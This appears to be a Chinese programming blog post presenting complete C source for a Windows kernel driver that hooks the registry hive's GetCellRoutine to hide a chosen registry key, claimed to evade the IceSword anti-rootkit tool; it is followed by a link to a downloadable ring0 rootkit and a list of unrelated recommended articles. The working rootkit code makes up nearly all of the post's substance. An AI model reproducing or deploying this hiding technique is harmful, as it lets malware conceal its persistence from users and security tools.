一段隐藏注册表项的代码

谈谈注册表项信息隐藏 理论:注册表是Windows系统存储关于计算机配置信息的数据库,包括了系统运行时需要调用的运行方式的设置,是系统的核心。操作系统是用特殊的文件(Hive文件)来存储注册表的内容,并提供给用户相关的编程接口(APIs)来进行注册表的操作,例如Advapi32.dll中的Registry Functions(如:RegEnumKey)。在Windows操作系统中,函数的调用有着极其规范的层次结构,如下 阅读详情

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。

原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。

#include <ntddk.h>

#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

#define CM_KEY_INDEX_ROOT      0x6972         // ir
#define CM_KEY_INDEX_LEAF      0x696c         // il
#define CM_KEY_FAST_LEAF       0x666c         // fl
#define CM_KEY_HASH_LEAF       0x686c         // hl

// 一些CM的数据结构,只列出用到的开头部分
#pragma pack(1)
typedef struct _CM_KEY_NODE {
       USHORT Signature;
       USHORT Flags;
       LARGE_INTEGER LastWriteTime;
       ULONG Spare;               // used to be TitleIndex
       HANDLE Parent;
       ULONG SubKeyCounts[2];     // Stable and Volatile
       HANDLE SubKeyLists[2];     // Stable and Volatile
       // ...
} CM_KEY_NODE, *PCM_KEY_NODE;

typedef struct _CM_KEY_INDEX {
       USHORT Signature;
       USHORT Count;
       HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;

typedef struct _CM_KEY_BODY {
       ULONG Type;                // "ky02"
       PVOID KeyControlBlock;
       PVOID NotifyBlock;
       PEPROCESS Process;         // the owner process
       LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;

typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

typedef struct _HHIVE {
       ULONG Signature;
       PGET_CELL_ROUTINE GetCellRoutine;
       // ...
} HHIVE, *PHHIVE;
#pragma pack()

// 需隐藏的主键名
WCHAR g_HideKeyName[] = L"
//Registry//Machine//SYSTEM//CurrentControlSet//Services//Beep";

PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;

PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;

// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
       NTSTATUS status;
       UNICODE_STRING uKeyName;
       OBJECT_ATTRIBUTES oa;
       HANDLE hKey;

       RtlInitUnicodeString(&uKeyName, pwcsKeyName);
       InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
       status = ZwOpenKey(&hKey, KEY_READ, &oa);
       if (!NT_SUCCESS(status))
       {
           DbgPrint("ZwOpenKey Failed: %lx/n", status);
           return NULL;
       }

       return hKey;
}

// 获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
       NTSTATUS status;
       PCM_KEY_BODY KeyBody;
       PVOID KCB;

       if (hKey == NULL) return NULL;

       // 由Key句柄获取对象体
       status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
       if (!NT_SUCCESS(status))
       {
           DbgPrint("ObReferenceObjectByHandle Failed: %lx/n", status);
           return NULL;
       }

       // 对象体中含有KeyControlBlock
       KCB = KeyBody->KeyControlBlock;
       DbgPrint("KeyControlBlock = %lx/n", KCB);

       ObDereferenceObject(KeyBody);

       return KCB;
}

// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
       // 获取父键的节点
       PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
       // 获取子键的索引
       PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

       DbgPrint("ParentNode = %lx/nIndex = %lx/n", ParentNode, Index);

       // 如果为根(二级)索引,获取最后一个索引
       if (Index->Signature == CM_KEY_INDEX_ROOT)
       {
           Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
           DbgPrint("Index = %lx/n", Index);
       }

       if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
       {
           // 快速叶索引(2k)或散列叶索引(XP/2k3),返回最后的节点
           return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
       }
       else
       {
           // 一般叶索引,返回最后的节点
           return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
       }
}

// GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
       // 调用原函数
       PVOID pRet = g_pGetCellRoutine(Hive, Cell);
       if (pRet)
       {
           // 返回的是需要隐藏的节点
           if (pRet == g_HideNode)
           {
               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx/n", Hive, Cell, pRet);
               // 查询、保存并返回其父键的最后一个子键的节点
               pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
               DbgPrint("g_LastNode = %lx/n", g_LastNode);
               // 隐藏的正是最后一个节点,返回空值
               if (pRet == g_HideNode) pRet = NULL;
           }
           // 返回的是先前保存的最后一个节点
           else if (pRet == g_LastNode)
           {
               DbgPrint("GetCellRoutine(%lx, %08lx) = %lx/n", Hive, Cell, pRet);
               // 清空保存值,并返回空值
               pRet = g_LastNode = NULL;
           }
       }
       return pRet;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
       DbgPrint("DriverUnload()/n");
       // 解除挂钩
       if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
       return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
       ULONG BuildNumber;
       ULONG KeyHiveOffset;       // KeyControlBlock->KeyHive
       ULONG KeyCellOffset;       // KeyControlBlock->KeyCell
       HANDLE hKey;
       PVOID KCB, Hive;

       DbgPrint("DriverEntry()/n");

       pDrvObj->DriverUnload = DriverUnload;

       // 查询BuildNumber
       if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
       DbgPrint("BuildNumber = %d/n", BuildNumber);

       // KeyControlBlock结构各版本略有不同
       // Cell的值一般小于0x80000000,而Hive正相反,以此来判断也可以
       switch (BuildNumber)
       {
           case 2195:     // Win2000
               KeyHiveOffset = 0xc;
               KeyCellOffset = 0x10;
               break;
           case 2600:     // WinXP
           case 3790:     // Win2003
               KeyHiveOffset = 0x10;
               KeyCellOffset = 0x14;
               break;
           default:
               return STATUS_NOT_SUPPORTED;
       }

       // 打开需隐藏的键
       hKey = OpenKeyByName(g_HideKeyName);
       // 获取该键的KeyControlBlock
       KCB = GetKeyControlBlock(hKey);
       if (KCB)
       {
           // 由KCB得到Hive
           PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
           // GetCellRoutine在KCB中,保存原地址
           g_ppGetCellRoutine = &Hive->GetCellRoutine;
           g_pGetCellRoutine = Hive->GetCellRoutine;
           DbgPrint("GetCellRoutine = %lx/n", g_pGetCellRoutine);
           // 获取需隐藏的节点并保存
           g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
           // 挂钩GetCell例程
           Hive->GetCellRoutine = MyGetCellRoutine;
       }
       ZwClose(hKey);

       return STATUS_SUCCESS;
}

 
ring0驱动内核级的ROOTKIT实现隐藏文件,隐藏注册表项,隐藏端口.zip 立即下载

相关推荐

保姆级教程:用ROS2 Humble + Gazebo Classic 从零搭建一个能键盘控制的差分AGV模型

本文提供了一份详细的ROS2 Humble与Gazebo Classic教程,指导用户从零开始搭建一个键盘控制的差分AGV模型。内容涵盖环境配置、Xacro文件设计、Gazebo仿真集成以及键盘控制实现,特别针对常见问题提供解决方案,帮助开发者快速掌握ROS2机器人仿真技术。

weixin_30387423的博客 169

注册表隐藏

1. 使用系统工具:在Windows操作系统中,可以使用组策略编辑器(gpedit.msc)来隐藏注册表。打开组策略编辑器后,导航到“用户配置”>“管理模板”>“系统”,然后找到“阻止访问注册表编辑器”选项,将其启用。2. 修改注册表权限:通过修改注册表的权限设置,可以限制用户对注册表的访问权限。- 单击“编辑”按钮,然后在“基本权限”中撤消“查看”权限。- 在“高级安全设置”窗口中,选择当前用户的权限项。- 在“安全”选项卡中,选择“高级”。- 右键单击该项,选择“权限”。- 导航到需要隐藏的注册表项。

黑客CN博客 1620

光学设计仿真软件:Code V_(8).场曲和色差校正

通过以上步骤和代码示例,用户可以更好地理解如何在Code V中进行场曲和色差的校正。这些技术不仅有助于提高光学系统的成像质量,还可以为后续的光学设计提供重要的参考。在实际应用中,用户可以根据具体需求选择合适的校正方法和优化策略,以达到最佳设计效果。

kkchenjj的博客 1788

注册表-各种功能-隐藏IE、隐藏硬盘、禁用硬件

1、在〔我的电脑〕上隐藏软驱 在〔开始〕→〔运行〕→输入〔Regedit〕→〔HKEY_CURRENT_USER〕→〔Software〕 →〔Microsoft〕 →〔Windows〕→〔CurrentVersion〕→〔Policies〕→〔Explorer〕 →增加一个 DWORD 值〔NoDrives〕的数值资料请使用十进制及如下设置 隐藏 A 盘为〔1〕,隐藏 B 盘为 A 盘的...

weixin_33816300的博客 462

微信小程序爬虫终极指南:以电商小程序抓包与逆向分析为例(最新版)

在2026年的移动互联网生态中,微信小程序已经成为电商交易的核心载体之一。据统计,超过78%的头部电商平台都推出了微信小程序版本,其用户活跃度甚至超过原生App。对于数据从业者而言,小程序端往往藏着比Web端更丰富的接口数据——包括但不限于商品详情、价格波动、用户评价、库存变化、秒杀活动信息等。与传统的Web爬虫不同,微信小程序爬虫面临着三大核心挑战无URL地址栏:无法通过浏览器直接查看网络请求wx.request封装:所有请求均通过微信原生API发起,难以直接拦截然而,

2201_76125261的博客 539

工程级 RK3588 YOLOv5 Android 架构拆解:NPU 量化优化 + 多线程推理 + 跟踪算法源码

本文将带你完成一个完整的AI视觉项目:在搭载RK3588芯片的Android开发板上运行实时目标检测与跟踪应用。实战目标:成功运行官方YOLOV5摄像头实时检测案例技术深度:深入理解RKNN开发框架和源码实现核心技能:掌握NPU推理、多线程并发、目标跟踪等关键技术。

LXY_LOVE36的博客 130

利用CmRegisterCallback函数在Windows下保护注册表项

<br />一般在Windows下保护注册表有以下几种方法:<br /> <br />1. Ring3 hook <br /> 实现简单。可利用微软的Detour库,第三方的mhook库,或者自己实现。<br /> 但是如果是做产品的话不得不考虑兼容性的问题,纵使周知,大量的病毒、木马和恶意程序使用同样的方法来隐藏或者保护自身<br /> 的注册表项和键值,基本上所有基于行为监控的安全类软件都会向用户报告此类程序为恶意程序。<br />2. Ring0 hook<br /> 原理和Ring3 hook基本上

diveintokernel的专栏 4914

告别Python中间件!C#原生调用YOLOv11/v12:工业视觉检测零语言壁垒全流程

本文介绍了一种基于C#和ONNX Runtime的工业视觉检测解决方案,解决了传统YOLO模型在工业应用中面临的三大痛点:语言壁垒、性能损耗和模型更新困难。该系统采用三层架构设计,支持C#原生调用YOLO模型,无需中间件,性能损耗低于5%,满足工业产线30FPS+的实时性要求。文章详细阐述了环境搭建、模型导出规范、核心代码实现及工业级优化方案,提供可直接用于生产环境的完整流程,实现了训练与部署的解耦,显著降低了维护成本。该方案兼容主流YOLO版本,支持全平台部署,为工业视觉检测提供了高效可靠的C#集成方案。

这里只有干货:从 Modbus 通信到 MES 对接,从 YOLO 训练到工控机部署,带你搞定工业软件开发全流程。 189

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22

以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。 原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。 ...

chubaisheng8627的博客 146

YOLO26 网络结构逐模块解析:Backbone/Neck/Head

本文解析了YOLO26目标检测网络的架构设计,重点介绍其在Backbone、Neck和Head三个核心组件的创新优化。Backbone采用改进的CSP模块与轻量级注意力机制,提升特征提取效率;Neck使用改进的BiFPN结构实现高效多尺度特征融合;Head采用完全解耦设计简化回归流程。文章详细分析了各模块的技术演进、实现细节和设计思想,通过流程图和代码示例展示了YOLO26的整体架构和关键组件实现。该研究对模型优化、定制开发和硬件部署具有重要指导意义。

一键难忘的博客 1250

数字逻辑Fundamentals of Digital Logic with Verilog Design | 3rd Edition Solutins Chapter 3(step by step)

第三章3-1~3-27全部习题解析和代码模块

weixin_62651190的博客 1946

过icesword 1.22 ,注册表隐藏,启动项隐藏

发一段隐藏注册表项的驱动代码,可以过目前最新的IceSword1.22。以前驱动开发网悬赏挑战IceSword时写的,不过最后没公开。那时流氓软件势头正劲,我可不想火上浇油。现在反流氓软件日渐成熟,也就没关系了。知道了原理,防御是非常容易的。原理很简单,实现的代码也很短,啥都不用说,各位直接看示例代码吧。#include #define GET_PTR(ptr, offset) (

1050

9.6华为OD机试真题 新系统【仓储货物有序出库】

华为OD机试真题 新系统【仓储货物有序出库】,提供C语言、Java、C++、Python、Go、JavaScript源码实现,并提供完整思路讲解,以及在线OJ模拟做题。华为OD机试真题 【仓储货物有序出库】多语言题解。

qq_45776114的博客 897

隐藏文件无法显示的问题

 以下的代码复制下来,保存成.reg文件,双击即可.   REGEDIT4 [HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/explorer/Advanced/Folder/Hidden] "Text"="隐藏文件" "Type"="group" "Bitmap"="C://WINDOWS//SYSTEM//S

技术空间站 1172

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

病毒常用方法之注册表操作

注册表的增删查改操作基本上是恶意代码的常规操作,但是对注册表的操作通常会留下痕迹,导致被发现,最后被清理掉 .对于驱动模块更是如此,驱动程序的入口函数的第二个参数就是注册表路径,当驱动加载后该值会被写到相应的位置,这是为了隐藏自己,要将与之相关的表项都删掉.下面是一段反汇编代码: int __stdcall DeleteKey(POBJECT_ATTRIBUTES ObjectAttributes)

pureman_mega的博客 1292

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

C语言整人代码

看不惯学校啰嗦的信息老师,闲着没事整整他,☺

xylr19的博客 1244

贝叶斯统计 [韦来生编]

贝叶斯(Bayes)统计是近几十年来迅速发展起来的数理统计的一个重要分支。贝叶斯方法与经典统计方法的主要不同之处是进行统计推断时除了利用样本信息外,还要利用参数的先验信息,因此可以提高统计推断或统计决策的效果。它在经济、金融、生物、医学、自然科学和社会科学等许多领域具有广泛的应用。贝叶斯方法的研究已渗透到了统计学的几乎所有领域。作者在给中国科学技术大学概率论与数理统计专业本科生开设的“数理统计”课程中有一章专门讲授“贝叶斯方法和统计决策理论”,近十年来也给中国科学技术大学概率统计专业研究生开设过几次“贝叶斯分析”课。本书是在对过去讲稿的内容作了适当的增减和调整的基础上完成的。  本书共分六章。第1章是绪论,介绍了贝叶斯统计的若干基本概念,同时对必要的数理统计的基础知识有重点地作了回顾。第二章介绍了确定先验分布的若干可供选择的方法。第三章介绍了几类常见统计模型参数的后验分布的主要结果和计算方法。第四章和第五章分别介绍了“贝叶斯统计推断”和“贝叶斯统计决策”的内容。第六章介绍了贝叶斯统计计算的若干方法,包括蒙特卡洛方法和马尔可夫链蒙特卡洛(MCMC)方法以及相关统计软件的简介。本书的每一章附右大量的例题和习题,书末附有常用的几个表格和部分习题解答供读者查用。  大约可在54学时内讲授本书的第1章至第六章的主要内容,教师可根据学时需要选讲本书第1章至第六章的部分内容。书中标“*”号的章节可略去不讲,留给读者作为阅读材料。第六章例题中的R代码和部分例题的数据文件等可从作者个人主页下载。  作者在编写本书的过程中参考了J.O.Berger教授的《统计决策论及贝叶斯分析》和茆诗松教授编写的《贝叶斯统计》等书中的一些内容,以及《贝叶斯分析》一书中由张伟平博士编写的有关贝叶斯统计计算的一些内容。在此表示衷心感谢。  本书编写准备过程中,中国科学技术大学统计与金融系的几个研究生帮助完成了本书部分中文的录入和排版,作者对他们的辛勤工作表示真诚的感谢。高等教育出版社为本书的出版给予了大力支持。在此一并致谢。

注册表usbstor删除不了_USBSTOR注册表项打不开也删不掉,怎么处理?

流氓软件的技术五花八门,任何一项功能都有可能成为流氓技术,就象武器,用好了可以伸张正义,用歪了却成为罪恶的帮凶。分析首先我从win32下的一些流氓着数分析开始:1。我想做为一个流氓软件,首先要做到的是实时运行,譬如在注册表的run下,在boot下增加它的启动。这应该是比较老的方法,以前 3721好象就是在run下,但是现在一般的人都知道了。2。作为流氓软件,已经改变了以前一些木马的特性了,他没必要...

weixin_39604045的博客 2689
上一篇: BIOS rootkit的一点补充
下一篇: 列举进程
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值